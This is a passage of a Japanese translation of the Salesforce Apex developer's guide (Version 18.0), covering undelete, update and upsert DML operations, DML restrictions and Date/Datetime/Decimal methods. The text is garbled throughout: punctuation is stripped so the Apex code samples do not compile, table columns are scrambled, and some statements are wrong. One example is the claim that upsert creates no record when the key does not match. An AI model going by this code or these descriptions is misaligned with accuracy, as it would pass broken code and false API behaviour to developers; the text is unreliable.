オブジェクトの復元は成功していますこのフィールドが空白の場合はその操作はそのオブジェクトに対して成功していません

DML操作がこのオブジェクトに対して成功した場合TrueのBoolean値となるそうでない場合Falseとなる

BooleanisSuccess

DMLステートメント例

以下の例は「Trump」と名づけられたアカウントの復元を示していますALL ROWSキーワードは削除されたレコードとアーカイブされたアクテビティを含むトップレベルと総関係の両方の全ての列を問い合わせます

Account a = new Account(name=AC1) insert(a) insert(newContact(lastName=CarteraccountId=aid))

Account[] savedAccts = [select id name from account where name = Trump ALL ROWS] try undelete savedAccts catch (DmlException e) Process exception here

メモ DmlExceptionの処理に関する詳細は「大量DML例外処理 (ページ 205)」を参照してください

データベースメソッド例

以下の例は「Trump」と名づけられたアカウントの復元を示していますALL ROWSキーワードは削除されたレコードとアーカイブされたアクテビティを含むトップレベルと総関係の両方の全ての列を問い合わせます

public class DmlTest2

public void undeleteExample() Account[] SavedAccts = [select id name from account wherename = Trump ALL ROWS] DatabaseUndeleteResult[] UDR_Dels = Databaseundelete(SavedAccts)for(integer i =0 ilt 10 i++) if(UDR_Dels[i]getErrors()size()gt0) Process any errorshere

参照 Version 180 | Undelete 操作 | 197

Update 操作updateDML操作は個別アカウントまたはコンタクトなどの1つ以上の既存sObjectをあなたの組織のデータを修正します updateはSQLのUPDATEステートメントを似ています

DMLステートメント構文update sObject

update sObject[]

データベースメソッド構文

bull UpdateResult Update(sObject recordToUpdate Boolean opt_allOrNone | databaseDMLOptions opt_DMLOptions)bull UpdateResult[] Update(sObject[] recordsToUpdate[] Boolean opt_allOrNone | databaseDMLOptions

opt_DMLOptions)

オプションの opt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しますこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよびその理由の確認に使用できる結果オブジェクトを返します

オプションのopt_DMLOptionsパラメータは割り当てルール情報または切り捨ての動作などトランザクションの追加データを指定します

詳細はデータベース DMLOptions メソッド (ページ 273)を参照してください

ルールとガイドライン

sObjectレコードを更新する際は以下のルールとガイドラインを考慮してください

bull 特定のsObjectsは更新不可能ですあるsObjectレコードを更新するにはsObjectのupdateableプロパティをTrueに設定しておく必要があります

bull 必要なフィールドを更新する際はnullではない値を入力する必要がありますbull Forcecom Web Services APIの場合とは違ってApexはsObjectレコード上のfieldsToNull列を更新せずに

フィールド値をnullにすることが可能です多くのSOAPプロバイダによるnull値の一貫性のない処理が行われたためAPI はこの列の更新を要求しますApexはForcecomプラットフォーム上だけで実行されるのでこの回避方法は不要です

bull 更新されたsObjectレコードのIDは修正不可能ですが関連レコードIDは修正可能ですbull この操作は重複ID値に関してレコードの各かたまりをチェックします重複がある場合は最初の 5 つ

が処理されます6番目とすべての追加重複IDについてはそのエントリ用のSaveResultが以下に類似したエラーによってマークされますMaximum number of duplicate updates in one batch (5allowed)Attempt to update Id more than once in this API call number_of_attempts

bull updateステートメントはLastModifiedDateLastModifiedByIdSystemModstampなどの特定のフィールドを自動的に修正しますApexスクリプトにてこれらの値を明示的に指定することはできません

bull 最大1000のsObjectレコードを単一のupdateメソッドに渡すことができますbull 単一のupdateステートメントは一度にたった1つのタイプのsObjectしか修正できません例えば修正さ

れたことのある既存コンタクトを通してアカウントフィールドを更新する場合以下の2つのupdateステートメントが必要です

Use a SOQL query to access data for a contact Contact c = [select accountname fromcontact where lastName = Carter limit 1]

参照 Version 180 | Update 操作 | 198

Now we can change fields for both the contact and its associated accountcaccountname = salesforcecom clastName = Roth

データベースを更新するには2 種類のレコードを 個別に更新する必要があります update c 連絡先の名前のみ変更します update caccount 取引先名を更新します

bull いくつかのsObjectでは更新はサポートされていませんDML操作をサポートしないsObject (ページ 204)を参照してください

SaveResultオブジェクト

SaveResultオブジェクトの列はinsertとupdateのデータベースメソッドで返されますSObject列に関連したSaveResult列内の各エレメントはデータベースメソッド内のsObject[]パラメータの列と一致しますすなわちSaveResult列内の最初のエレメントはsObject列内の最初のエレメントにマッチしますまた二番目のエレメントは二番目のエレメントに対応し三番目以降も同じです1つしかsObjectが渡されない場合 SaveResults列は1つのエレメントしか含みません

SaveResultオブジェクトは以下のメソッドを持っています

説明型名前

エラーが発生した場合エラーコードと説明を提供している1つ以上の

DatabaseError[]getErrors

データベースエラーオブジェクト詳細は「データベースエラーオブジェクトメソッド」 (ページ277)を参照してください

挿入または更新しようとしているsObjectのIDこのフィールドがある値

IDgetId

を含む場合オブジェクトの挿入または更新は成功していますこのフィールドが空白の場合はその操作はそのオブジェクトに対して成功していません

DML操作がこのオブジェクトに対して成功した場合Trueに設定されたBooleanそうでない場合False

BooleanisSuccess

DMLステートメント例

以下の例は「Acme」と名づけられた1つのアカウント上のbillingcityフィールドを更新します

Account a = new Account(name=Acme2) insert(a)

Account myAcct = [select id name billingcity from account where name = Acme2 limit 1]myAcctbillingcity = San Francisco try update myAcct catch (DmlException e) Process exception here

メモ DmlExceptionの処理に関する詳細は「大量DML例外処理 (ページ 205)」を参照してください

参照 Version 180 | Update 操作 | 199

データベースメソッド例

以下の例は「Acme」と名づけられた1つのアカウント上のbillingcityフィールドを更新します

Account myAcct = [select id name billingcity from account limit 1] myAcctbillingcity =San Francisco

DatabaseSaveResult SR = databaseupdate(myAcct) for(DatabaseError err SRgetErrors()) process any errors here

Upsert操作upsertDML操作は既存オブジェクトの存在を決定する任意のカスタムフィールドを使って1つのステートメント内で新規sObjectレコードを作成し既存のsObjectレコードを更新します

DMLステートメント構文upsert sObject opt_external_id

upsert sObject[] opt_external_id

opt_external_idは組織のデータ内にすでに存在しているレコードにマッチするために使われるカスタムフィールドを指定する任意の変数ですカスタムフィールドは選択されたExternal Id属性で作成される必要がありますさらに項目に選択された Unique属性がない場合upsertが誤って重複レコードを挿入しないようにコンテキストユーザ「すべてを参照」オブジェクトレベルの権限か「すべてのデータを参照」権限が必要です

opt_external_idが指定されていない場合sObjectレコードのIDフィールドは規定値で使われます

メモ カスタムフィールドがフィールド定義の一部として「一意」と「ABC と abc を重複した値として扱う (大文字小文字の区別なし)」属性を選択している場合のみカスタムフィールドは大文字と小文字を区別しませんこの場合「ABC123」は「abc123」と一致します詳細はSalesforcecom オンラインヘルプの「項目とリレーションの追加」を参照してください

データベースメソッド構文

bull UpsertResult DatabaseUpsert(sObject recordToUpsert SchemaSObjectField External_ID_Field Booleanopt_allOrNone)

bull UpsertResult[] DatabaseUpsert(sObject[] recordsToUpsert SchemaSObjectField External_ID_Field Booleanopt_allOrNone)

External_ID_Fieldパラメータは組織のデータ内にすでに存在しているレコードにマッチするために使われるカスタムフィールドを指定する任意の変数ですカスタムフィールドは選択されたExternal Id属性で作成される必要がありますさらに項目に選択された Unique属性がない場合upsertが誤って重複レコードを挿入しないようにコンテキストユーザ「すべてを参照」オブジェクトレベルの権限か「すべてのデータを参照」権限が必要です

External_ID_Fieldは SchemaSObjectFieldつまり項目トークンですfields特殊メソッドを使用して項目のトークンを検索しますたとえばSchemaSObjectField f = AccountFieldsMyExternalIdとなります

External_ID_Fieldが指定されていない場合sObjectレコードのIDフィールドは規定値で使われます

参照 Version 180 | Upsert操作 | 200

メモ カスタムフィールドがフィールド定義の一部として「一意」と「ABC と abc を重複した値として扱う (大文字小文字の区別なし)」属性を選択している場合のみカスタムフィールドは大文字と小文字を区別しませんこの場合「ABC123」は「abc123」と一致します詳細はSalesforcecom オンラインヘルプの「項目とリレーションの追加」を参照してください

オプションの opt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しますこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよびその理由の確認に使用できる結果オブジェクトを返します

Upsertが挿入または更新を選ぶ方法

Upsertは新規オブジェクトレコードを作成するか既存のものを更新するか決定するためにsObjectのレコードのプライマリキー または指定されている場合外部ID を使います

bull キーがマッチしない場合新規オブジェクトのレコードは作成されませんbull キーがマッチする場合既存オブジェクトのレコードが更新されますbull キーが複数回マッチする場合はエラーが生成されオブジェクトレコードは挿入も更新もされません

ルールとガイドライン

sObjectレコードを upsert する際は以下のルールとガイドラインを考慮してください

bull 特定のsObjectsは挿入も更新も不可能ですあるsObjectレコードを挿入するにはsObjectのcreateableプロパティをTrueに設定しておく必要がありますあるsObjectレコードを更新するにはsObjectのupdateable

プロパティをTrueに設定しておく必要がありますbull レコードが挿入されるすべての必要フィールドにnullでない値を入力する必要がありますbull sObjectレコードのIDは修正不可能ですが関連レコードIDは修正可能ですこのアクションは更新とし

て解釈されますbull upsertステートメントはLastModifiedDateLastModifiedByIdSystemModstampなどの特定のフィー

ルドを自動的に修正しますApexスクリプトにてこれらの値を明示的に指定することはできませんbull 各upsertステートメントは2つの操作から成ります1つはレコードの挿入で1つはレコードの更新で

すこれらの各操作はinsertとupdateのランタイムリミットにそれぞれ制限されます例えば200を超えるレコードをupsertする場合ですべてが更新中の場合エラーが発生します 実行ガバナと制限を理解するを参照してください

bull upsertステートメントのみが関連sObjectレコードのIDを設定可能です関連レコードのフィールドはupsertでは修正できません例えば既存コンタクトを更新する場合AccountIdフィールドの値を設定することによってコンタクトの関連アカウントレコードを指定可能ですしかしながらアカウント自体を更新せずに別のDMLステートメントを使ってアカウント名を変更することはできません

bull いくつかのsObjectではUpsertはサポートされていませんDML操作をサポートしないsObject (ページ204)を参照してください

bull 参照フィールドとして設定されている場合sObjectレコードをupsertするために外部キーを使用可能です詳細はForcecom Web Services API Developers Guide内のhttpwwwsalesforcecomusdeveloperdocsapiindex_CSHhtmfield_typeshtmを参照してください

UpsertResultオブジェクト

DatabaseUpsertResult オブジェクトの配列はupsertデータベースメソッドで返されますSObject列に関連したUpsertResult列内の各エレメントはupsertデータベースメソッドの sObject[]パラメータの列と一致しますつまりUpsertResult列内の最初のエレメントはsObject列内の最初のエレメントにマッチしますまた 2

参照 Version 180 | Upsert操作 | 201

番目のエレメントは2 番目のエレメントに対応し3 番目以降も同じです1つしかsObjectがパスされない場合UpsertResult列は1つのエレメントしか含みません

UpsertResultオブジェクトは以下のメソッドを持っています

説明型名前

エラーが発生した場合エラーコードと説明を提供している1つ以上の

DatabaseError[]getErrors

データベースエラーオブジェクト詳細は「データベースエラーオブジェクトメソッド」 (ページ277)を参照してください

更新または挿入しようとしているsObjectのIDこのフィールドがある値

IDgetId

を含む場合オブジェクトの更新または挿入は成功していますこのフィールドが空白の場合はその操作はそのオブジェクトに対して成功していません

レコードが作成された場合Trueに設定されたBoolean値レコードが更新された場合False

BooleanisCreated

DML操作がこのオブジェクトに対して成功した場合TrueのBoolean値となるそうでない場合Falseとなる

BooleanisSuccess

DMLステートメント例

以下の例は更新します以前Bombayとして知られていた都市の中に位置するすべての既存アカウント用に都市名を更新しSan Franciscoに位置する新規アカウントを挿入します

Account[] acctsList = [select id name billingcity from account where billingcity =Bombay] for (Account a acctsList) abillingcity = Mumbai Account newAcct = newAccount(name = Acme billingcity = San Francisco) acctsListadd(newAcct) try upsertacctsList catch (DmlException e) Process exception here

メモ DmlExceptionの処理に関する詳細は「大量DML例外処理 (ページ 205)」を参照してください

この次の例はアセットと商談ラインアイテムの一対一の関係を保持するためにupsertとAssetオブジェクト上の外部IDフィールド Line_Item_Id__cを使いますupsertを外部IDと一緒に使うことはコード内のDMLステートメントの数を減らしガバナリミットに当たること防ぐことに役立ちます(実行ガバナとリミットを理解するを参照)

参照 Version 180 | Upsert操作 | 202

メモ この例ではLine_Item_Id__cと名づけられたAssetオブジェクト上のカスタムテキストフィールドの追加が必要ですこのフィールドは外部IDとしてフラグ付けされる必要がありますカスタムフィールドに関する詳細はSalesforcecom オンラインヘルプをご覧ください

public void upsertExample() Opportunity opp = [Select Id Name AccountId (Select IdPricebookEntryProduct2Id PricebookEntryName From OpportunityLineItems) From OpportunityWhere HasOpportunityLineItem = true Limit 1]

Asset[] assets = new Asset[]

Create an asset for each line item on the opportunity for (OpportunityLineItemlineItemoppOpportunityLineItems)

This code populates the line item Id AccountId and Product2Id for each asset Asset asset= new Asset(Name = lineItemPricebookEntryName Line_Item_ID__c = lineItemId AccountId= oppAccountId Product2Id = lineItemPricebookEntryProduct2Id)

assetsadd(asset)

try upsert assets Line_Item_ID__c This line upserts the assets list with theLine_Item_Id__c field specified as the Asset field that should be used for matching the record that should be upserted catch (DmlException e) Systemdebug(egetMessage())

DMLステートメント例

以下はデータベースupsertメソッドを使った例です

This class demonstrates and tests the use of the partial processing DML operations

public class dmlSamples

This method accepts a collection of lead records and creates a task for the owner(s) ofany leads that were created as new that is not updated as a result of the upsert operation public static ListltDatabaseupsertResultgt upsertLeads(ListltLeadgt leads)

Perform the upsertIn this case the unique identifier for the insert or update decisionis the Salesforce record ID If the record ID is null the row will be inserted otherwisean update will be attempted ListltDatabaseupsertResultgt uResults =Databaseupsert(leadsfalse)

This is the list for new tasks that will be inserted when new leads are createdListltTaskgt tasks = new ListltTaskgt() for(DatabaseupsertResult resultuResults) if(resultisSuccess() ampamp resultisCreated()) tasksadd(new Task(subject = Follow-up whoId= resultgetId()))

If there are tasks to be inserted insert them Databaseinsert(tasks)

return uResults

public static testMethod void testUpsertLeads() We only need to test the insert sideof upsert ListltLeadgt leads = new ListltLeadgt()

Create a set of leads for testing for(Integer i = 0i lt 100 i++) leadsadd(newLead(lastName = testLead company = testCompany))

Switch to the runtime limit context TeststartTest()

Exercise the method ListltDatabaseupsertResultgt results = DmlSamplesupsertLeads(leads)

Switch back to the test context for limits TeststopTest()

ID set for asserting the tasks were created as expected SetltIdgt ids = new SetltIdgt()

参照 Version 180 | Upsert操作 | 203

Iterate over the results asserting success and adding the new ID to the set for use inthe comprehensive assertion phase below for(DatabaseupsertResult resultresults) Systemassert(resultisSuccess()) idsadd(resultgetId())

Assert that exactly one task exists for each lead that was inserted for(Lead l[selectid (select subject from Tasks) from lead where Id in ids]) SystemassertEquals(1ltaskssize())

DML 操作をサポートしない sObjects

DML操作はApex内の以下のsObjectではサポートされません

bull AccountTerritoryAssignmentRulebull AccountTerritoryAssignmentRuleItembull ApexComponentbull ApexPagebull BusinessHoursbull BusinessProcessbull CategoryNodebull CurrencyTypebull DatedConversionRatebull ProcessInstancebull プロファイルbull RecordTypebull SelfServiceUserbull StaticResourcebull UserAccountTeamMemberbull UserTerritorybull WebLink

Forcecom Web Services API内のこれらのsObjectを作成更新または削除することはできません

DML 操作内で一緒に使用できない sObject

一部の SObject はDML 操作をトランザクションごとに1つのタイプでのみ実行する必要がありますたとえば取引先の挿入ユーザグループグループメンバの挿入は1つのトランザクション内ではできません次の sObjects を 1 つのトランザクション内で同時に使用することはできません

bull Group3

bull GroupMemberbull QueueSObjectbull User4

bull UserRole

3 他の sObjects とともに 1 つのトランザクション内でグループを挿入および更新できます他の DML 操作は使用できません

4roleidが Null として指定されている場合他の sObjects とトランザクション内でユーザを挿入できます

参照 Version 180 | DML 操作をサポートしない sObjects | 204

bull UserTerritorybull テリトリー

重要 主な例外はテスト内でrunAsメソッドを使用している場合です詳細は「システムメソッド」(ページ 285)を参照してください

以下のプロセスを使って1つのクラスで複数タイプのsObjectにおいてDML操作を実行することができます

1 1つのタイプのsObjectにおいてあるDML操作を行うメソッドを作成してください2 二番目のsObjectタイプを操るためのfutureアノテーションを使う二番目のメソッドを作成してください

カスタムコントローラでVisualforceページを使っている場合は1つの要求またはアクションで1つのタイプのObjectにおいてのみDML操作可能ですしかしながら続く要求においてはDML操作を異なるタイプのObjectで実行可能ですたとえば保存ボタンでアカウントを作成した後に送信ボタンでユーザを作成可能です

大量DML例外処理バルク DML 呼び出しの例外処理方法 (トリガ内の再帰的DML操作も含む) は呼び出し元の場所によって異なる処理がされます

bull Apex DMLステートメントから直接発生したバルクDML呼び出しのためにエラーが発生した場合またはデータベースDMLメソッドの all_or_noneパラメータがTrueとして指定されている場合ランタイムエンジンは「オールオアナッシング」ツールに従います1 回の操作の間すべてのレコードを正常に更新する必要がありまたは全体の操作はDMLステートメントの前の時点に即座に戻ります

bull Forcecom Web Services APIから発生したバルクDML呼び出しのせいでエラーが発生した場合ランタイムエンジンは少なくとも部分保存しようとします

1 最初の試行中ランタイムエンジンはすべてのレコードを処理します有効リールや独自のインデックス違反などの問題によるエラーを生成したレコードは除外されます

2 最初の試行中にエラーがある場合ランタイムエンジンはエラーを生成しなかったレコードのみを含む二回目の試行を行います最初の試行中にエラーをい生成しなかったすべてのレコードが処理されレコードがエラーを生成した場合 おそらくレース状態のせいで それも除外されます

3 二回目の試行中に追加エラーがあった場合ランタイムエンジンは初回と二回目にエラーを生成しなかったレコードのみを含む三回目と最後の試行を行いますレコードがエラーを生成した場合全体操作は失敗しエラーメッセージ「Too many batch retries in the presence of Apex triggers and partial failures」が表示されます

メモ二回目と三回目の試行中にガバナ制限は最初の試行の前のオリジナル状態にリセットされます詳細は「実行ガバナーと制限の理解」を参照してください

Apex 標準クラスおよび標準メソッド

Apex にはプリミティブデータ型の式やより複雑なオブジェクト向けの静的メソッドやインスタンスメソッドを含む標準クラスがあります

参照 Version 180 | 大量DML例外処理 | 205

標準静的メソッドは Java に似ており常に次のような形式となります

Classmethod(args)

プリミティブデータ型の標準静的メソッドに暗黙的なパラメータはなくオブジェクトコンテキストを使用せずに呼び出されますたとえば次の式は 175 の値をその他の値を使用せずに最も近い整数に丸めます

MathroundToLong(175)

すべてのインスタンスメソッドはリストセットまたは文字列など特定のデータ型の式に作成されます例

String s = Hello world

Integer i = slength()

メモ メソッドが nullに評価するオブジェクト式で呼び出される場合Apex ランタイムエンジンはNull ポインタの例外を投げます

一部のクラスではそれらのメソッドのグループ化メカニズムとして名前空間を使用しますたとえばmessage

クラスではApexPages 名前空間を使用します

ApexPagesMessage myMsg = new ApexPagesMessage(ApexPagesFATAL エラーメッセージ)

Apex 標準クラスは次のカテゴリに分類されます

bull Primitivesbull Collectionsbull Enumbull sObjectbull Systembull 例外

Primitives メソッド

Apex Primitive メソッドApex の多くのプリミティブデータ型にはデータの追加処理に使用できるメソッドがありますメソッドのあるプリミティブは次のとおりです

bull Blobbull Booleanbull Datebull Datetimebull Decimalbull Doublebull Longbull String

参照 Version 180 | Primitives メソッド | 206

bull Time

Blob メソッド

次にBlob のシステム静的メソッドを示します

説明戻り値の型引数名前

指定した String Sを Blob に投入します例

String myString = StringToBlob BlobmyBlob = Blobvalueof(myString)

BlobString SvalueOf

次にBlob のインスタンスメソッドを示します

説明戻り値の型引数名前

blob の文字数を返します例String myString = StringToBlob BlobmyBlob = Blobvalueof(myString) Integersize = myBlobsize()

Integersize

blob を String にキャストしますStringtoString

Blob の詳細は「プリミティブデータ型」 (ページ 27)を参照してください

Boolean メソッド

次はBoolean の静的メソッドを示します

説明戻り値の型引数名前

データ型 anyType の履歴管理表の項目である xをBoolean に投入しますanyType データ型の詳細

BooleananyTypexvalueOf

は『Forcecom Web Services API Developers Guide』の「項目のデータ型」を参照してください

Boolean の詳細は詳細はプリミティブデータ型 (ページ 27)を参照してください

Date メソッド

次にDate のシステム静的メソッドを示します

参照 Version 180 | Apex Primitive メソッド | 207

説明戻り値の型引数名前

指定された yearおよび monthの月の日数を返します (1= 1 月)次の例では1960 年の 2 月のに数を示しています

Integer numberDays =datedaysInMonth(1960 2)

IntegerInteger year

Integer month

daysInMonth

指定したyearがうるう年の場合真を返しますBooleanInteger yearisLeapYear

yearmonth (1= 1 月)dayの Integer 表現からDate を構築します次の例では1960 年 2 月 17日を作成します

Date myDate = datenewinstance(1960 217)

DateInteger year

Integer month

Integer date

newInstance

文字列から Date を構築します文字列の形式はローカルの日付形式によって異なります次の例はいくつかのロケールで機能しますdate mydate = dateparse(12272009)

DateString Dateparse

現在の日付を現在のユーザーのタイムゾーンで返します

Datetoday

指定した String の値を含む Date を返しますStringは現地のタイムゾーンの標準の日付形式「yyyy-MM-dd HHmmss」を使用します例string year = 2008 string month =10 string day = 5 string hour =

DateString svalueOf

12 string minute = 20 stringsecond = 20 string stringDate = year+ - + month + - + day + + hour+ + minute + + second

Date myDate = datevalueOf(stringDate)

データ型 anyType の履歴管理表の項目である xをDate に投入しますanyType データ型の詳細は

DateanyTypexvalueOf

『Forcecom Web Services API Developers Guide』の「項目のデータ型」を参照してください

次にDate のインスタンスメソッドを示します

説明戻り値の型引数名前

指定した addlDays数を Date に追加します例

date myDate = datenewInstance(1960 217) date newDate = mydateaddDays(2)

DateInteger addlDaysaddDays

参照 Version 180 | Apex Primitive メソッド | 208

説明戻り値の型引数名前

addlMonthsの指定した数を Date に追加しますDateInteger addlMonthsaddMonths

addlYearsの指定した 数を Date に追加しますDateInteger addlYearsaddYears

Date の day-of-month のコンポーネントを返しますたとえば1999 年 2 月 5 日はday 5 となります

Integerday

Date の day-of-year のコンポーネントを返しますたとえば1999 年 2 月 5 日はday 36 となります

IntegerdayOfYear

メソッドを呼び出した Date と compDateの間の日数を返しますメソッドを呼び出す Date が

IntegerDate compDatedaysBetween

compDateの後に発生する場合戻り値は負となります例

date startDate = datenewInstance(20081 1) date dueDate =datenewInstance(2008 1 30) integernumberDaysDue =startDatedaysBetween(dueDate)

Date を文字列として返しますStringformat

メソッドを呼び出した Date が compDateと同じ場合真を返します例

date myDate = datetoday() date dueDate= datenewInstance(2008 1 30)

BooleanDate compDateisSameDay

boolean dueNow =myDateisSameDay(dueDate)

Date の day-of-month のコンポーネントを返します(1=1 月)

Integermonth

メソッドを呼び出した Date と compDateの間の月数を返します日付の差異は無視されますたと

IntegerDate compDatemonthsBetween

えば同じ年の 3 月 1 日と 3 月 30 日の場合その間の月数は 0 となります

メソッドを呼び出した Date の月の最初の日を返しますたとえば1999 年 7 月 14 日の場合は1999年 7 月 1 日を返します

DatetoStartOfMonth

コンテキストユーザーのロケールに応じてメソッドを呼び出した Date の週の開始日を返しますた

DatetoStartOfWeek

とえばアメリカのロケールでは週は日曜日に始まりヨーロッパでは月曜日に始まります例date myDate = datetoday() dateweekStart = myDatetoStartofWeek()

参照 Version 180 | Apex Primitive メソッド | 209

説明戻り値の型引数名前

Date の year のコンポーネントを返しますIntegeryear

Date の詳細は「プリミティブデータ型」 (ページ 27)を参照してください

Datetime メソッド

次にDatetime のシステム静的メソッドを示します

説明戻り値の型引数名前

DateTime を構築し1970 年 1 月 1 日 000000(GMT) 以降の指定したミリ秒数を表すように初期化します

DatetimeLong lnewInstance

ローカルタイムゾーンの dateおよび timeからDateTime を構築します

DatetimeDate Date

Time Time

newInstance

タイムゾーンの0時にyearmonth (1= 1 月)day

の Integer 表現から Datetime を構築します例

datetime myDate =datetimenewInstance(2008 12 1)

DatetimeInteger year

Integer month

Integer day

newInstance

現地のタイムゾーンで yearmonth (1= 1 月)dayhourminuteおよび secondの Integer 表現から Datetime を構築します例

Datetime myDate =datetimenewInstance(2008 12 1 1230 2)

DatetimeInteger year

Integer month

Integer day

Integer hour

Integer minute

Integer second

newInstance

GMT タイムゾーンの dateおよび timeからDateTime を構築します

DatetimeDate date

Time time

newInstanceGmt

GMT タイムゾーンの0時に yearmonth (1= 1月)dayの Integer 表現から Datetime を構築します

DatetimeInteger year

Integer month

Integer date

newInstanceGmt

GMT タイムゾーンで yearmonth (1= 1 月)dayhourminuteおよび secondの Integer 表現から Datetime を構築します

DatetimeInteger year

Integer month

Integer date

newInstanceGmt

Integer hour

Integer minute

Integer second

参照 Version 180 | Apex Primitive メソッド | 210

説明戻り値の型引数名前

GMT カレンダーに基づいて現在の Datetime を返します例datetime myDateTime = datetimenow()

Datetimenow

返される日付の形式はMMDDYYYY HHMM

PERIODです

ローカルタイムゾーンおよび形式の datetimeから DateTime を構築します次の例はいくつかのロケールで機能します

datetime myDateTime = datetimenow()string mydtstring = mydatetimeformat()

DatetimeString datetimeparse

systemassertequals(12272009 1146AM mydtstring)

指定した String の値を含む Datetime を返しますString は現地のタイムゾーンの標準の日付形式「yyyy-MM-dd HHmmss」を使用します例string year = 2008 string month =10 string day = 5 string hour =

DatetimeString svalueOf

12 string minute = 20 stringsecond = 20 string stringDate = year+ - + month + - + day + + hour+ + minute + + second

Datetime myDate =datetimevalueOf(stringDate)

データ型 anyType の履歴管理表の項目である xをDatetime に投入しますanyType データ型の詳細

DatetimeanyTypexvalueOf

は『Forcecom Web Services API Developers Guide』の「項目のデータ型」を参照してください

指定した String の値を含む Datetime を返しますString はGMT のタイムゾーンの標準の日付形式「yyyy-MM-dd HHmmss」を使用します

DatetimeString svalueOfGmt

次にDatetime のインスタンスメソッドを示します

説明戻り値の型

引数名前

指定した addlDays数を Datetime に追加します例

datetime myDate = datetimenewInstance(1960 2 17) datetime newDate =mydateaddDays(2)

DatetimeInteger addlDaysaddDays

参照 Version 180 | Apex Primitive メソッド | 211

説明戻り値の型

引数名前

指定した addlHoursの数を Datetime に追加しますDatetimeInteger addlHoursaddHours

指定した addlMinutesの数を Datetime に追加しますDatetimeInteger addlMinutesaddMinutes

指定した addlMonthsの数を Datetime に追加しますDatetimeInteger addlMonthsaddMonths

指定した addlSecondsの数を Datetime に追加しますDatetimeInteger addlSecondsaddSeconds

addlYearsの指定した 数を Datetime に追加しますDatetimeInteger addlYearsaddYears

コンテキストユーザーの現地のタイムゾーンで Datetimeの Date のコンポーネントを返します

Datedate

GMT タイムゾーンで Datetime の Date のコンポーネントを返します

DatedateGMT

コンテキストユーザーの現地のタイムゾーンで Datetimeの day-of-month のコンポーネントを返しますたとえ

Integerday

ば1999 年 2 月 5 日 午前 8 時 30 分 12 秒はday 5 となります

GMT タイムゾーンで Datetime の day-of-month のコンポーネントを返しますたとえば1999 年 2 月 5 日午前 8 時 30 分 12 秒はday 5 となります

IntegerdayGmt

コンテキストユーザーの現地のタイムゾーンで Datetimeの day-of-year のコンポーネントを返しますたとえば

IntegerdayOfYear

2008 年 2 月 5 日午前 8 時 30 分 12 秒はday 36 となりますDatetime myDate = datetimenewInstance(2008 2 5 8 30 12) systemassertEquals(myDatedayOfYear() 36)

GMT タイムゾーンで Datetime の day-of-year のコンポーネントを返しますたとえば1999 年 2 月 36 日 午前8 時 30 分 12 秒はday 5 となります

IntegerdayOfYearGmt

現在のユーザーの現地のタイムゾーンを使用してDatetime を文字列として返しますタイムゾーンを指定できない場合はGMT が使用されます

Stringformat

提供された Java の簡単な日付形式と現在のユーザーの現地のタイムゾーンを使用してDatetime を文字列と

StringString dateFormatformat

して返しますタイムゾーンを指定できない場合はGMT が使用されます例datetime myDT = Datetimenow() StringmyDate = myDTformat(hmm a)

Java の簡単な日付形式の詳細はhttpjavasuncomj2se142docsapijavatextSimpleDateFormathtmlを参照してください

参照 Version 180 | Apex Primitive メソッド | 212

説明戻り値の型

引数名前

提供された Java の簡単な日付形式とタイムゾーンを使用してDatetime を文字列として返します提供され

StringString dateFormat

String timezone

format

たタイムゾーンが適切でない場合GMT が使用されます

Java の簡単な日付形式の詳細はhttpjavasuncomj2se142docsapijavatextSimpleDateFormathtmlを参照してください

提供された Java の簡単な日付形式と GMT タイムゾーンを使用してDatetime を文字列として返します

Java の簡単な日付形式の詳細はhttpjavasuncomj2se142docsapijavatextSimpleDateFormathtmlを参照してください

StringString dateFormatformatGmt

秒やタイムゾーンなど現在のユーザーの現地のタイムゾーンを使用してDatetime を文字列として返します

StringformatLong

この DateTime オブジェクトで表された 1970 年 1 月 1日 0 時 0 分 0 秒 (GMT) 以降のミリ秒数を返します

LonggetTime

コンテキストユーザーの現地のタイムゾーンで Datetimeの hour のコンポーネントを返します

Integerhour

GMT タイムゾーンで Datetime の hour のコンポーネントを返します

IntegerhourGmt

コンテキストユーザーの現地のタイムゾーンでメソッドを呼び出した Datetime と compDtが同じ場合真を返します例

datetime myDate = datetimenow() datetimedueDate = datetimenewInstance(2008 1 30)boolean dueNow = myDateisSameDay(dueDate)

BooleanDatetime compDtisSameDay

コンテキストユーザーの現地のタイムゾーンで Datetimeの millisecond のコンポーネントを返します

Integermillisecond

GMT タイムゾーンで Datetime の millisecond のコンポーネントを返します

IntegermillisecondGmt

コンテキストユーザーの現地のタイムゾーンで Datetimeの minute のコンポーネントを返します

Integerminute

GMT タイムゾーンで Datetime の minute のコンポーネントを返します

IntegerminuteGmt

コンテキストユーザーの現地のタイムゾーンで Datetimeの month のコンポーネントを返します (1=1 月)

Integermonth

参照 Version 180 | Apex Primitive メソッド | 213

説明戻り値の型

引数名前

GMT タイムゾーンで Datetime の month のコンポーネントを返します (1= 1 月)

IntegermonthGmt

コンテキストユーザーの現地のタイムゾーンで Datetimeの second のコンポーネントを返します

Integersecond

GMT タイムゾーンで Datetime の second のコンポーネントを返します

IntegersecondGmt

コンテキストユーザーの現地のタイムゾーンで Datetimeの time のコンポーネントを返します

Timetime

GMT タイムゾーンで Datetime の time のコンポーネントを返します

TimetimeGmt

コンテキストユーザーの現地のタイムゾーンで Datetimeの year のコンポーネントを返します

Integeryear

GMT タイムゾーンで Datetime の year のコンポーネントを返します

IntegeryearGmt

Datetime の詳細は「プリミティブデータ型」 (ページ 27)を参照してください

Decimal メソッド

次にDecimal のシステム静的メソッドを示します

説明戻り値の型引数名前

指定した Double の値を含む Decimal を返しますDecimalDouble dvalueOf

指定した Long の値を含む Decimal を返しますDecimalLong lvalueOf

指定した String の値を含む Decimal を返しますJava と同様文字列は署名付きの Decimal を示すものとして解釈されます例String temp = 124567 DecimalmyDecimal = decimalvalueOf(temp)

DecimalString svalueOf

次にDecimal のインスタンスメソッドを示します

説明戻り値の型引数名前

Decimal の絶対値を返しますDecimalabs

参照 Version 180 | Apex Primitive メソッド | 214

説明戻り値の型引数名前

この Decimal を divisorで割りスケールつまり scaleを使用した結果の小数位の数値を設定します次の例でD は 0190 の値を持っています

Decimal D = 19 DDivide(100 3)

DecimalDecimal divisorInteger scale

divide

この Decimal を divisorで割りスケールつまり scaleを使用した結果の小数位の数値を設定し

